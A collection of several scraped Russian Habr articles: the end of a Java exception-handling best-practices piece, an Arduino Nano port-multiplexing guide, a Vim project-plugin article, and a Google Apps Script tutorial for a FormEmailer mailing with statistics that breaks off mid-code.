Идея, лежащая в основе этой передовой практики, аналогична двум предыдущим. Но на этот раз вы не предоставляете информацию вызывающей стороне вашего метода. Сообщение об исключении читают все, кто должен понимать, что произошло, когда исключение было зарегистрировано в файле журнала или в вашем инструменте мониторинга.
Следовательно, он должен как можно точнее описать проблему и предоставить наиболее актуальную информацию для понимания исключительного события.
Не поймите меня неправильно; вы не должны писать абзац текста. Но вам следует объяснить причину исключения в 1-2 коротких предложениях. Это помогает вашей группе эксплуатации понять серьезность проблемы, а также упрощает анализ любых инцидентов, связанных с обслуживанием.
Если вы выберете конкретное исключение, его имя класса, скорее всего, уже будет описывать тип ошибки. Таким образом, вам не нужно предоставлять много дополнительной информации. Хорошим примером этого является *NumberFormatException*. Оно вызывается конструктором класса java.lang.Long, когда вы предоставляете String в неправильном формате.
```
try {
new Long("xyz");
} catch (NumberFormatException e) {
log.error(e);
}
```
Название класса *NumberFormatException* уже говорит вам о типе проблемы. Его сообщение должно содержать только строку ввода, которая вызвала проблему. Если имя класса исключения не так выразительно, вам необходимо предоставить необходимую информацию в сообщении.
```
17:17:26,386 ERROR TestExceptionHandling:52 - java.lang.NumberFormatException: For input string: "xyz"
```
### 5. Сначала перехватите наиболее конкретное исключение
Большинство IDE помогут вам в этой лучшей практике. Они сообщают о недостижимом блоке кода, когда вы сначала пытаетесь перехватить менее конкретное исключение.
Проблема в том, что выполняется только первый блок catch, соответствующий исключению. Итак, если вы сначала поймаете *IllegalArgumentException*, вы никогда не достигнете блока catch, который должен обрабатывать более конкретное *NumberFormatException,* потому что это подкласс *IllegalArgumentException*.
Всегда сначала перехватывайте наиболее конкретный класс исключения и добавляйте менее конкретные блоки перехвата в конец вашего списка.
Пример такого оператора try-catch представлен в следующем фрагменте кода. Первый блок catch обрабатывает все *NumberFormatException,* а второй - все *IllegalArgumentException,* которые не являются *NumberFormatException*.
```
public void catchMostSpecificExceptionFirst() {
try {
doSomething("Сообщение");
} catch (NumberFormatException e) {
log.error(e);
} catch (IllegalArgumentException e) {
log.error(e)
}
}
```
### 6. Не перехватывайте Throwable
[*Throwable*](https://docs.oracle.com/javase/8/docs/api/java/lang/Throwable.html) - это суперкласс всех исключений и ошибок. Вы можете использовать его в предложении catch, но никогда не должны этого делать!
Если вы используете *Throwable* в предложении catch, он не только перехватит все исключения; он также перехватит все ошибки. JVM выдает ошибки, чтобы указать на серьезные проблемы, которые не предназначены для обработки приложением. Типичными примерами этого являются [*OutOfMemoryError*](https://docs.oracle.com/javase/8/docs/api/java/lang/OutOfMemoryError.html)или [*StackOverflowError*](https://docs.oracle.com/javase/8/docs/api/java/lang/StackOverflowError.html). И то, и другое вызвано ситуациями, которые находятся вне контроля приложения и не могут быть обработаны.
Итак, лучше не перехватывайте *Throwable,* если вы не абсолютно уверены, что находитесь в исключительной ситуации, в которой вы можете или обязаны обрабатывать ошибку.
```
public void doNotCatchThrowable() {
try {
// делает что-нибудь
} catch (Throwable t) {
// не делает этого!
}
}
```
### 7. Не игнорируйте исключения
Вы когда-нибудь анализировали отчет об ошибке, в котором выполнялась только первая часть вашего сценария использования?
Часто это вызвано игнорируемым исключением. Разработчик, вероятно, был уверен, что оно никогда не будет вызвано, и добавил блок catch, который не обрабатывает и не регистрирует его. И когда вы найдете этот блок, вы, скорее всего, даже найдете один из известных комментариев «Этого никогда не будет».
```
public void doNotIgnoreExceptions() {
try {
// делает что-нибудь
} catch (NumberFormatException e) {
// это никогда не выполнится
}
}
```
Что ж, возможно, вы анализируете проблему, в которой произошло невозможное.
Поэтому, пожалуйста, никогда не игнорируйте исключения. Вы не знаете, как код изменится в будущем. Кто-то может удалить проверку, которая предотвратила исключительное событие, не осознавая, что это создает проблему. Или код, который генерирует исключение, изменяется и теперь генерирует несколько исключений одного и того же класса, а вызывающий код не предотвращает их все.
Вы должны хотя бы написать сообщение в журнале, сообщающее всем, что произошло немыслимое и что кто-то должен это проверить.
```
public void logAnException() {
try {
// делает что-нибудь
} catch (NumberFormatException e) {
log.error("Это никогда не должно происходить: " + e);
}
}
```
### 8. Не пишите в лог сгенерированные исключения
Это, вероятно, наиболее часто игнорируемая передовая практика в списке. Вы можете найти множество фрагментов кода и даже библиотек, в которых исключение перехватывается, регистрируется и повторно генерируется.
```
try {
new Long("xyz");
} catch (NumberFormatException e) {
log.error(e);
throw e;
}
```
Может показаться интуитивно понятным регистрировать исключение, когда оно произошло, а затем повторно генерировать его, чтобы вызывающий мог обработать его соответствующим образом. Но, в таком случае, приложение будет писать в лог несколько сообщений об ошибках для одного и того же исключения.
```
17:44:28,945 ERROR TestExceptionHandling:65 - java.lang.NumberFormatException: For input string: "xyz"
Exception in thread "main" java.lang.NumberFormatException: For input string: "xyz"
at java.lang.NumberFormatException.forInputString(NumberFormatException.java:65)
at java.lang.Long.parseLong(Long.java:589)
at java.lang.Long.(Long.java:965)
at com.stackify.example.TestExceptionHandling.logAndThrowException(TestExceptionHandling.java:63)
at com.stackify.example.TestExceptionHandling.main(TestExceptionHandling.java:58)
```
Повторные сообщения также не добавляют никакой информации. Как объясняется в лучшей практике №4, сообщение об исключении должно описывать исключительное событие. А трассировка стека сообщает вам, в каком классе, методе и строке было сгенерировано исключение.
Если вам нужно добавить дополнительную информацию, вы должны перехватить исключение и обернуть его в пользовательское. Но обязательно следуйте передовой практике номер 9.
```
public void wrapException(String input) throws MyBusinessException {
try {
// делает что-нибудь
} catch (NumberFormatException e) {
throw new MyBusinessException("Сообщение с описанием ошибки.", e);
}
}
```
Итак, перехватывайте исключение, только если вы хотите его обработать. В противном случае укажите это в сигнатуре метода и позвольте вызывающей стороне позаботиться об этом.
### 9. Оберните исключение, не обрабатывая его
Иногда лучше поймать стандартное исключение и превратить его в настраиваемое. Типичным примером такого исключения является бизнес-исключение для конкретного приложения или платформы. Это позволяет вам добавлять дополнительную информацию, а также вы можете реализовать специальную обработку для вашего класса исключения.
Когда вы это сделаете, обязательно установите исходное исключение в качестве причины. Класс *Exception* предоставляет определенные методы конструктора, которые принимают *Throwable* в качестве параметра. В противном случае вы потеряете трассировку стека и сообщение об исходном исключении, что затруднит анализ исключительного события, вызвавшего ваше исключение.
```
public void wrapException(String input) throws MyBusinessException {
try {
// делает что-нибудь
} catch (NumberFormatException e) {
throw new MyBusinessException("Сообщение с описанием ошибки.", e);
}
}
```
### Резюме
Как вы видели, есть много разных вещей, которые вы должны учитывать, когда генерируете или перехватываете исключение. Большинство из них имеют цель улучшить читаемость вашего кода или удобство использования вашего API.
Чаще всего исключения являются одновременно механизмом обработки ошибок и средством связи. Поэтому вам следует обязательно обсудить передовые практики и правила, которые вы хотите применять, со своими коллегами, чтобы все понимали общие концепции и использовали их одинаково. | https://habr.com/ru/post/551992/ | null | ru | null |
# Мультиплексирование вывода данных на дисплей с параллельным портом
Мультиплексирование шины данных дисплея с параллельным выводом и последовательного порта Ардуино.
Статья описывает способ мультиплексного использования порта D микропроцессора ATMEL 328P (Ардуино НАНО) с целью обеспечения попеременного побайтного вывода в дисплей и обмена по последовательному каналу.
Собрал я как-то прибор для контроля уровня угарного газа (СО) из ненужных элементов – дисплей от Нокии N95, Ардуино НАНО с несправными портами (D3 и D11, пробиты в результате неудачного замыкания на +400 вольт при отладке генератора высокого напряжения), платы воспроизведения звуковых фрагментов и датчика на угарный газ MQ7. Все эти детали в той или иной степени были неисправны (кроме датчика) и никакого применения в других проектах найти не могли. Как ни странно, оказалось, что прибор очень полезен при использовании печки на даче. Лето 2019 года выдалось нежарким и печку я топил практически каждый день в течении пары недель в июле, соединяя приятное (медитирование на пламя) с полезным (утилизацией попиленных мусорных деревьев). Контролировать режимы горения оказалось очень легко, все манипуляции с заслонками сразу отражались на показаниях прибора, что позволяло управлять печкой разумно. Прибор в этой статье не описывается, в интернете таких устройств предостаточно на любой вкус. Отличительной особенностью моего прибора является функция постоянного контроля исправности датчика СО на основе сравнения запомненной эталонной кривой и получаемой в реальном масштабе времени, а также высокая скорость реакции на изменение уровня СО, достигнутая сравнением запомненных на предыдущем цикле данных с текущими.
Фокус этой статьи на увеличении скорости обмена процессора и дисплея с параллельным байтовым обменом данными.
Дисплей имеет параллельный байтовый обмен и, несмотря на использование всех известных мне способов увеличения скорости обмена, вывод на него оказался довольно медленным. Основная причина – необходимость побитного вывода байта данных на разные биты разных портов, так как Ардуино Нано не имеет ни одного полноценного порта шириной в один байт. Этот режим вывода требует грубо в 8 раз больше времени по сравнению с командой записи байта в регистр. У НАНО имеется единственный полноценный порт D, но его младшие биты используются для аппаратного последовательного порта, по которому происходит загрузка скетчей в процессор и обмен скетча с хост-машиной.
Я нашел относительно простой способ использования побайтного вывода на дисплей. Способ этот заключается в попеременном использовании порта D для вывода данных на дисплей и в обмене данными по последовательному каналу.
Предлагаемый способ позволяет значительно увеличить скорость интегрального обмена с дисплеем (около 3-х раз по моим измерениям). Под словом «интегральный» имеется в виду, что измерялись суммарные времена выполнения операций отрисовки экрана на макро-уровне. Вероятно, что измерение времен на уровне атомарных операций ввода-вывода дало бы существенно больший выигрыш (в районе одного порядка).
Измерения выполнялись на специально собранном макете (см. рисунок 1) следующим способом:
1. В тестовой программе расставлялись метки времени с выводом на хост-машину.
2. Дисплей присоединялся к выводам D2 — D9, загружалась тестовая программа, в которой вывод байта осуществлялся путем распределения байта по битам.
3. Дисплей присоединялся к выводам D0 – D7, загружалась тестовая программа, в которой вывод байта осуществлялся командой PORTD=data.
*Рисунок 1. Фотографии макета для отработки мультиплексирования вывода*
Программы совершенно одинаковые, переключение способа вывода осуществлялось сменой имен подпрограмм SendDat и SendCom на SendDat1 и SendCom1 соответственно.
Вывод программы на встроенный сериал монитор записывался в OneNote и анализировался.
*Рисунок 2. Измерение времени вывода на экран в режиме побайтного вывода*
*Рисунок 3. Измерение времени вывода на экран в режиме побитного вывода*
Результаты измерений сведены в таблицу 1.
*Таблица 1. Интегральный выигрыш в скорости обмена*
Минусы предлагаемого способа заключаются в необходимости использовать дополнительные команды для переключения режимов работы с дисплеем и обмена по последовательному порту.
Также можно ожидать некоторых трудностей при приеме данных от хост-машины, прием возможен только при явном включении режима последовательного канала, что требует четкой повременной организации процессов в скетче.
Исследование мануала по процессору дало следующую информацию: включение режима последовательного порта перехватывает управление ножками D0 и D1 на аппаратном уровне. Это значит, что попытки управления ножками из скетча не дадут нужного результата.
Дальнейшее изучение вопроса показало, что, если не включать в скетче последовательный порт командой Serial.open(), то весь порт D остается в распоряжении пользователя. Можно перевести порт в режим вывода по всем ногам командой DDRD=0xFF и выводить весь байт одновременно командой PORTD=data, где переменная data содержит выводимые данные.
Перевести порт D в режим вывода достаточно один раз (в Setup). Последующие включения-выключения режима последовательного обмена не влияют на режим порта D – он так и остается в режиме параллельного вывода 8 бит. При включении режима последовательного обмена выводы D0 и D1 перейдут в режим приема и передачи соответственно. На выводе D1 появится «1» независимо от предыдущего состояния бита D1, и эта «1» будет на этом выводе все время пока включен режим последовательной передачи, кроме моментов передачи символов. При выключении режима последовательной передачи выводы D0 и D1 перейдут в состояние вывода и на них появятся сигналы из регистра вывода. Если в регистре вывода на месте D1 имеется «0», то на выводе будет сформирован отрицательный перепад, который приведет к передаче паразитного символа в последовательный канал.
Рассмотрим теперь вопрос – а не помешает ли такое использование порта D загрузке программ? При загрузке программы процессор сбрасывается импульсом, который генерируется контроллером USB порта FT232RL (либо его аналогом CH340) при выставлении сигнала DTR. Сигнал DTR переходит из 1 в 0 и отрицательный перепад через конденсатор сбрасывает процессор. После сброса процессор включает последовательный порт, запускает загрузчик и принимает код программы. Итак – нормальной загрузке скетча изменение режима работы порта D не мешает.
Если в скетче требуется вывод в сериал порт, то достаточно команды Serial.open() перед командами вывода.
Однако есть тонкость. Заключается она в том, что вход RxD микросхемы FT232RL остается присоединенным к выводу TxD и данные, идущие на дисплей, принимаются и пересылаются далее в хост-машину. Данные эти выглядят как шум, хотя на самом деле им не являются (рисунок 4).
*Рисунок 4. Вид экрана в режиме побайтного вывода без блокирования*
Бороться с этим ненужным сигналом можно двумя путями.
Первый путь – программный. Заключается он в том, что в скетче перед выводом используется команда Serial.println() для создания новой строки перед выводом полезной информации. Это облегчит программе в хост машине анализ входящих строк и выделение полезной информации от скетча.
Второй путь – аппаратный. Вход RxD FT232RL подсоединен к выходу TxD через резистор 1 кОм. Чтобы заблокировать передачу информации достаточно присоединить вход RxD FT232RL к «1». Сделать это проще всего одним из свободных выводов Ардуино. Я использовал вывод D8. Для выполнения этого действия я припаял к выводу 7 резистора RP1B номиналом 1 кОм проводок с разъемом на конце, проведя его через отверстия в плате с целью механической фиксации. На рисунке 5 это соединение показано красной линией, на рисунке 6 приведена фотография места пайки.
*Рисунок 5. Часть схемы Ардуино нано*
*Рисунок 6. Место пайки дополнительного провода в Ардуино НАНО*
Механизм этот работает так: после сброса ножка D8 находится в режиме высокоимпедансного входа и штатной работе механизма загрузки программ в плату Ардуино не мешает.
Когда в скетче надо начать управлять дисплеем, то вывод D8 переводится в режим активного вывода, на нем выставляется «1» (это блокирует передачу данных от вывода TxD Atmel328P на вывод RxD FT232RL) и после этого выполняется команда Serial.end();. Порядок действий важен, так как после выключения режима последовательной передачи на выводе TxD появится бит D1, который сохранился в выходном регистре порта D от предыдущей записи байта в этот порт. Если бит D1 был «0», то при выключении режима последовательной передачи ножка процессора переключится из «1» в «0» и это породит передачу паразитного символа по последовательному каналу.
В процессе отладки также оказалось, что надо дождаться окончания передачи всего буфера в хост-машину перед блокировкой последовательного канала, иначе часть передаваемых данных будет потеряна.
Когда в скетче требуется включить передачу данных по сериал порту, надо включить режим последовательной передачи и выключить блокировку прохождения сериал данных путем установки режима чтения на выводе D8.
Для выполнения этих задач в скетч добавлены две подпрограммы:
```
void s_begin()
{
Serial.begin(115200); // Включаем управление выводом TxD от модуля USART. Нога TxD переходит в "1", нога RxD становится входом
pinMode(8, INPUT); // Отключаем подтяжку входа RxD FT232RL к "1", разрешая прохождение сериал данных на вход RxD FT232RL
}
```
```
void s_end()
{
Serial.flush(); //Ждем конца передачи
pinMode(8, OUTPUT); //Подтягиваем вход FT232RL к "1" отключая передачу данных пока идет управление дисплеем. Без этого
D8_High; //будут передаваться паразитные данные
Serial.end(); // закрываем сериал канал. В этот момент на ноги TxD и RxD начинают выводится биты D0(RxD) и D1(TxD) порта D
}
```
Полностью тестовую программу можно взять [тут](https://yadi.sk/d/bvtryfAhOqjCSw). | https://habr.com/ru/post/476986/ | null | ru | null |
# Vim по полной: Уровень проекта и файловая система
Оглавление
==========
1. [Введение](http://habrahabr.ru/post/259701/) (vim\_lib)
2. [Менеджер плагинов без фатальных недостатков](http://habrahabr.ru/post/259725/) (vim\_lib, vim\_plugmanager)
3. **Уровень проекта и файловая система** (vim\_prj, nerdtree)
4. [Snippets и шаблоны файлов](http://habrahabr.ru/post/260591/) (UltiSnips, vim\_template)
5. [Компиляция и выполнение чего угодно](http://habrahabr.ru/post/261179/) (vim-quickrun)
6. [Работа с Git](http://habrahabr.ru/post/261783/) (vim\_git)
7. [Деплой](http://habrahabr.ru/post/263487/) (vim\_deploy)
8. [Тестирование с помощью xUnit](http://habrahabr.ru/post/264297/) (vim\_unittest)
9. [Библиотека, на которой все держится](http://habrahabr.ru/post/264351/) (vim\_lib)
10. Другие полезные плагины
Проекты, это то, чего очень не хватает редактору Vim. Реализация проекта позволяет не только выделить его как отдельную сущность среди других папок и файлов в ФС, но и реализовать такие свистелки, как:
* Автоматическое сохранение и восстановление последней сессии проекта так, что после повторного открытия, мы получим редактируемый в прошлый раз файл(ы), с теми же настройками и положением
* Хранение информации о проекте, такой как автор проекта, лицензия, версия и так далее. Все эти данные можно будет добавлять в шаблоны и сниппеты
* Корневой каталог проекта строго определен. Это упростит использования других инструментов, на пример xUnit, дебагеры, генераторы документации и т.д.
* Отдельный, принадлежащий только проекту каталог *.vim* и файл *.vimrc*, аналогичный пользовательским версиям. Теперь настройки и плагины проекта будут хранится в нем
Проекты в Vim
=============
Не знаю почему, но пользователи Vim либо не используют проектную модель, либо реализуют/используют довольно странные плагины, которые, по сути, дают лишь часть от необходимой функциональности проекта. В Vim есть готовые механизмы, позволяющие реализовать новый уровень проекта, это опция exrc, которая заставляет Vim при загрузке искать и запускать файл *.vimrc* в корневом каталоге, но очевидно этого недостаточно. Что не хватает этому решению? Во-первых мы получаем в проекте один толстый файл *.vimrc*, изменять который со временем становится все сложнее. Во-вторых переопределять конфигурации Vim для проекта, такие как: подсветка, сниппеты, шаблоны, плагины — становится сложнее. В идеале проекту нужен как файл *.vimrc*, так и свой собственный каталог *.vim* (аналог *.idea*). Этот каталог должен повторять функциональность своего собрата уровня пользователя, а это значит использование тех же подкаталогов и той же логики загрузки (по возможности, средствами самого Vim, дабы все было прозрачно и гибко).
Один небольшой плагин
=====================
Подключение и использование каталога *.vim* реализуется уже знакомой нам библиотекой [vim\_lib](https://github.com/Bashka/vim_lib). Класс *sys/Autoload* подключает каталог проектный каталог *.vim* к *runtimepath* так, что он загружается в правильной последовательности (последним) и может переопределять любые настройки Vim. Остальную логику реализует плагин [vim\_prj](https://github.com/Bashka/vim_prj). В его задачи входит:
* Подключить с помощью опции exrc файл *.vimrc*
* Сохранять и восстанавливать последнюю сессию проекта
* Создавать инфраструктуру проекта по команде
* Хранить опции проекта, такие как автор, лицензия и т.д.
* Хранить информацию о расположении проекта в ФС и всех уровнях загрузки
Проектный .vimrc
----------------
Если кто не знает, опция exrc заставляет Vim искать в текущем каталоге (каталог, в котором запущен редактор) файлы с именами *.vimrc* или *\_vimrc* и запускать их. Плагин vim\_prj просто устанавливает эту опцию в значение «включено».
Сессии проекта
--------------
Здесь все не намного сложнее. Vim из коробки умеет сохранять и восстанавливать сессию с помощью хранящего информацию о сессии файла и команды *mksession*. Опция *sessionoptions* позволяет определить, какие именно данные будут сохраняться, а какие можно «забыть».
Плагин реагирует только на проекты (корневой каталог содержит *.vim*) и автоматически сохраняет и восстанавливает последнюю сессию при открытии и закрытии проекта. Сессия проекта хранится в файле *.vim/session.vim*.
Инфраструктура проекта
----------------------
Для того, чтобы плагин работал с некоторым каталогом как с проектом, достаточно создать в нем каталог *.vim*. Все ленивые программисты в голос скажут — мне что, руками его создавать? — конечно нет! Для этого плагин реализует команду *VimPrjCreate*, которая помимо *.vim* создает файл *.vimrc* в проекте, инициализирует его согласно требованиям загрузчика *sys/Autoload*, создает *.vim/plugins.vim* и *.vim/bundle*. Такая структура позволяет быстро устанавливать плагины с помощью [vim\_plugmanager](https://github.com/Bashka/vim_plugmanager) (они сразу подключаются в *.vim/plugins.vim*).
**Пример создаваемого .vimrc**
```
filetype off
call vim_lib#sys#Autoload#init('.vim', 'bundle')
so .vim/plugins.vim " Все объявления установленных в проекте плагинов должны хранится в этом файле
filetype indent plugin on
```
Информация о проекте
--------------------
Глобальный словарь *vim\_prj#opt*, создаваемый плагином, не является чем то особенным, а просто определяет место, в котором должны хранится данные о проекте. Вы можете задать общую информацию для всех проектов в вашем пользовательском *~/.vimrc*
**Пример**
```
" В файле ~/.vimrc
let g:vim_prj#opt = {'author': 'Vim_*', 'license': 'GNU GPL 3'}
```
и переопределить их для конкретного проекта в *.vimrc* файле проекта.
**Пример**
```
" В файле ./.vimrc
let g:vim_prj#opt = {'author': 'Vim_*', 'license': 'MIT'} " Словарь будет переопределен, а не слит
```
Этот словарь активно используется моими сниппетами и шаблонами, что позволяет быстро изменять информацию о проекте, не копаясь в куче файлов.
Дом проекта
-----------
Очень полезной особенностью плагина, которую даже не пришлось реализовывать, является определение расположения проекта в ФС. Если вы открываете редактор Vim в корневом каталоге проекта (в котором хранится *.vim*), то вы работаете в проекте, иначе, вы просто открыли редактор. Соответственно плагину будет известен адрес корневого каталога проекта, все другие уровни загрузки редактора ($VIMRUNTIME и *~/.vim*), что может понадобится другим вашим плагинам. Естественно для того, чтобы работать с таким проектом, нужна возможность просматривать файловую структуру проекта и открывать файлы. Делается это с помощью плагина [nerdtree](https://github.com/scrooloose/nerdtree). Другими словами вы просто открываете редактор в корне вашего проекта командой *vim*, и получаете все прелести, присущие проекту.
Пока все
========
Не вижу смысла расписывать плагин nerdtree в этой статье (думаю вы и так о нем знаете), скажу лишь, что в будущем он будет заменен или переписан, так как в нем отсутствуют некоторые обязательные для файлового менеджера функции и удобный API для использования другими плагинами. | https://habr.com/ru/post/259995/ | null | ru | null |
# Рассылка писем в Google Docs (Drive)
Создание статистики и управление рассылки писем
в Google Docs (с разных аккаунтов) на основе FormEmailer
==========================================================================================================
[Мы, Большой Брат Ltd., решили создать статистику](http://bigbrotherlog.com) результатов рассылки посредством скрипта — шаблона FormEmailer. Расскажем, как это делалось.
Для любопытных сразу покажу, к чему мы стремимся.
Выглядеть это будет примерно так:
Рисунок 1: Итоговый вид разработки.
Теперь приступим к самому интересному — реализации.
Для работы с рассылкой будем использовать скрипт — шаблон FormEmailer. Он многофункционален, гибок в настройке и при небольших усилиях становится действительно мощным инструментом.
Создаем таблицу “Рассылка” в Google Docs.
Нажимаем “Вставка” -> “Скрипт”, находим FormEmailer от hgabreu, нажимаем Install. Авторизируемся, давая право использовать свой календарь.
После установки в меню появится пункт Form Emailer.
При нажатии на него вы увидите в меню Install. Нажимаем на него и получаем форму с выбором языка и Листа с данными (сюда вы будете собирать базу для рассылки).
Оговорюсь, в БАЗУ ДЛЯ РАССЫЛКИ мы включаем исключительно своих подписчиков.
**Также важно учитывать и специфики ограничений Google таблиц. Поэтому настоятельно рекомендуем ознакомиться с данным разделом** [Читать тут](http://support.google.com/docs/bin/answer.py?hl=ru&answer=37603)
**ВАЖНО:** Для того чтобы все создалось без ошибок и проблем, лист должен содержать хотя бы названия колонок (иметь шапку).
Если база для рассылки у Вас больше пары тысяч, нужно использовать дополнительные аккаунты и проделывать в них те же манипуляции.
Если у Вас возникли проблемы с установкой, зайдите на сайт программы. [Сайт](https://sites.google.com/site/formemailer/)
В итоге, мы получаем инструмент для массовой рассылки с лимитом на использование аккаунта Gmail — 500 писем в день. Желательно, не использовать максимальный лимит из-за риска получить бан.
Так выглядят наши документы:
Рисунок 2: Виды листов
1. — лист “Data”; 2. — лист “FormEmailer”; 3. — лист “05/2012”; 4. — лист “Report”.
При создании, из Install вы получите 2 вкладки:
1) Data — наша база. Этот документ Вы будете использовать в качестве базы рассылки.
2) FormEmailer — шаблон и основные настройки рассылки.
Создаем еще один лист — “Report”, а лист архива мы создадим с помощью программы. В него будут собираться все отчеты об отправке.
Итак, приступим к приведению скрипта FormEmailer-a под себя. Версия не имеет значения.
Открываем редактор скриптов, откроется код FormEmailera.
С помощью Ctrl+F найдем функцию processManually и впишем перед ней наш код.
Для того, чтобы все работало, необходимо чтобы код был таким же, как и у меня.
Данный код добавит в наш документ лист архива с названием текущего месяца и года в виде “05/2012” — месяц/год.
```
var thisMonth = Utilities.formatDate(new Date(), SpreadsheetApp.getActiveSpreadsheet().getSpreadsheetTimeZone(), "MM/yyyy");
var outputSheet = SpreadsheetApp.getActiveSpreadsheet().getSheetByName(thisMonth);
if ( !outputSheet )
{
SpreadsheetApp.getActiveSpreadsheet().insertSheet(thisMonth);
var outputSheet = SpreadsheetApp.getActiveSpreadsheet().getSheetByName(thisMonth);
}
```
Добавляем счетчик отправленных писем.
```
var count_send_email = 0;
```
Создаем в колонках ячейки с датой и копированием в архив для отсчета и комментируем текст, который отвечает за статистические данные.
```
var thisDate_send_email = Utilities.formatDate(new Date(), SpreadsheetApp.getActiveSpreadsheet().getSpreadsheetTimeZone(), "MM/dd/yyyy");
var time_send_email = Utilities.formatDate(new Date(), SpreadsheetApp.getActiveSpreadsheet().getSpreadsheetTimeZone(), "MM/dd/yyyy hh:mm:ss");
c.fs.getRange(line,1).setValue("Email sent, " + time_send_email);
c.fs.getRange(line,2).setValue(thisDate_send_email);
var dataHeight = c.fs.getDataRange().getHeight();
var dataWidth = c.fs.getDataRange().getWidth();
// Check if there free rows in the output sheet
if(outputSheet.getDataRange().getHeight()==outputSheet.getMaxRows()) outputSheet.insertRowAfter(outputSheet.getMaxRows());
Logger.log("height:"+outputSheet.getDataRange().getHeight());
Logger.log("max: "+outputSheet.getMaxRows())
count_send_email++;
c.fs.getRange(line, 1, 1, dataWidth).moveTo(outputSheet.getRange(outputSheet.getDataRange().getHeight()+1, 1));
c.fs.deleteRow(line);
} catch(e)
{
status.push(repl_(T.statusError, s.qtt == 1 ? '' : i+1, e));
c.err.push(repl_(T.mailError, s.qtt == 1 ? '' : i+1, e, line));
}
} else
{
status.push(T.statusQuota);
if( c.err.length == 0 || !startsWith_(c.err[c.err.length-1], T.statusQuota) )
c.err.push(t.statusQuota+'. '+new Date());
break;
}
}
outputSheet.getRange(outputSheet.getLastRow(),5).setValue(count_send_email);
/* c.fs.getRange(line,1).setValue(status.join('; '));
if( c.fl && line != 2 )
{
if( s.closure === 'values' )
all.setValues([values]);
else if( s.closure === 'clear' )
all.clearContent();
//else formulas > just leave them there
}*/
```
Вдаваться в подробности написания скрипта мы не будем.
Если возникнут вопросы, пишите — ответим.
На этом доработка FormEmailer-a почти закончена.
**Приступаем к статистике.**
Создадим файл, где и будет собираться статистика.
Далее, нам необходимо сделать так, чтобы суммарная таблица “Report” копировалась в сводный документ [Статистика](https://docs.google.com/spreadsheet/ccc?key=0AtxnobaOdwU2dFF0ZkNFcmVSUXYwSFZCOW9iTHdtM3c)
Для этого, создаем новую функцию updateData в скрипте FormEmailera.
В конце кода, примерно на строке 1164, после закрывающей скобки предыдущей функции добавляем следующее:
```
var SOURCE_SPREADSHEET_ID = "ключ листа, с которого будем копировать";
var SOURCE_SHEET_NAME = "название копируемого листа";
var DESTINATION_SPREADSHEET_ID = "ключ листа, куда будем копировать";
var DESTINATION_SHEET_NAME = "название листа, куда будем копировать";
function updateData() {
try {
var sourceSheet = SpreadsheetApp.openById(SOURCE_SPREADSHEET_ID).getSheetByName(SOURCE_SHEET_NAME);
if(sourceSheet!=null) {
var sourceData = SpreadsheetApp.getActiveSpreadsheet().getSheetByName(SOURCE_SHEET_NAME).getDataRange().getValues();
var destinSheet = SpreadsheetApp.openById(DESTINATION_SPREADSHEET_ID).getSheetByName(DESTINATION_SHEET_NAME);
if(destinSheet!=null) destinSheet.getRange(1, 1, sourceData.length, sourceData[0].length).setValues(sourceData);
else throw new Error("Destination sheet not found.");
}
else throw new Error("Source sheet not found.");
}
catch(e) {
Logger.log(e.message);
Browser.msgBox(Logger.getLog());
}
}
```
Для того чтобы наш лист сводной статистики приобрел окончательный вид, пропишем формулы для сбора количества писем категории отправлено / ожидает отправки.
ОТПРАВЛЕНО:
=(ARRAYFORMULA(SUMIF('05/2012'!$B:$B,$A2,'05/2012'!$E:$E)))
Расшифруем формулу:
ARRAYFORMULA — Формулы массива «в одной ячейке» позволяют записывать формулы с помощью ввода массива, а не выходных данных.
SUMIF — СуммаЕСЛИ(диапазон; критерии; суммарный\_диапазон)
диапазон — лист 05/2012 колонка B, знак $ закрепляет данную колонку при размножении формулы посредством “тянем вниз” (то есть, в каждой ячейке будет диапазон $B:$B; $B:$B; $B:$B, если бы $ не было, то было бы так: B:B; С: С; D:D. (в данном случае, это дата).
$A2 — это критерий, по которому следует вести суммирование, в нашем случае это 5/1/2012 и тд.
ВАЖНО: для того, чтобы у Вас все подсчеты были верными, вид искомых критериев должен быть одинаковым. То есть, если Вы отбираете по 5/1/2012, то это не то же самое, что 1/5/2012, ММ/ДД/ГГГГ не равно ДД/ММ/ГГГГ.
суммарный\_диапазон — ‘05/2012'!$E:$E — столбец, где должны производиться расчеты (в нашем случае, это количество писем).
ОЖИДАЕТ:
=COUNTIF('Data'!C:C, "\*@\*")
расшифруем формулу — СЧИТАТЬ ЕСЛИ (В столбце С листа “Data” есть текст с содержимым @)
[подробнее о формулах](https://support.google.com/docs/bin/static.py?hl=ru&topic=25273&page=table.cs&ctx=tooltip)
#### Список функций Таблиц Google
Есть одна проблема — если мы запишем нашу формулу во все столбцы, то получим во всех столбцах одну и ту же цифру, а нам нужна реальная цифра, привязанная к дате.
Для правильной обработки ожидающих отправки писем, необходимо привязать цифру к дате и при работе с формулой оставить лишь полученное значение. Приведенный ниже код решает данную задачу.
```
var thisDay = Utilities.formatDate(new Date(), SpreadsheetApp.getActiveSpreadsheet().getSpreadsheetTimeZone(), "dd");
var myArray_Date = new Array();
myArray_Date = [1,2,3,4,7,8,9,10,11,14,15,16,17,18,21,22,23,24,25,28,29,30,31];
var dataSheet = SpreadsheetApp.getActiveSpreadsheet().getSheetByName("Report");
for (var date_count = 0; date_count < 30; date_count++)
{
if (myArray_Date[date_count]==thisDay)
{
var y = myArray_Date[date_count] + 1;
dataSheet.getRange(y, 3).setFormula("=COUNTIF('Date'!C:C, \"*@*\")");
}
}
var datatocopy = dataSheet.getRange(y, 3).getValues();
dataSheet.getRange(y, 3).setValues(datatocopy);
```
Теперь приступим к формированию статистики.
У нас есть документ для формирования статистики, но для того, чтобы сформировать ее полностью, необходим не один такой документ, а несколько.
Но пока мы будем исходить только из одного документа, имеющегося у нас.
Для формирования используем формулы.
Создаем страницу для суммарного подсчета.
Рисунок 3. Статистика, которую мы и хотели увидеть.
Для того, чтобы ускорить работу, напишем скрипт для сбора данных с наших двух листов.
```
function myFunction()
{
var workSheet = SpreadsheetApp.getActiveSpreadsheet().getSheetByName("REPORT");
var rew;
var myReport_Name = new Array();
var first_work_row = 3, last_work_row = 33, count_column = 2;
workSheet.getRange("B" + first_work_row + ":F" + last_work_row).clearContent();
for (var i=first_work_row; i<=last_work_row; i++)
{
rew = i - 1;
workSheet.getRange(i, 2).setFormula("=(ARRAYFORMULA(SUMIF('Аккаунт для рассылки'!$A:$A&'Аккаунт для рассылки'!$A$1; $A" + i + "&$B$1; 'Аккаунт для рассылки'!B:B)))");
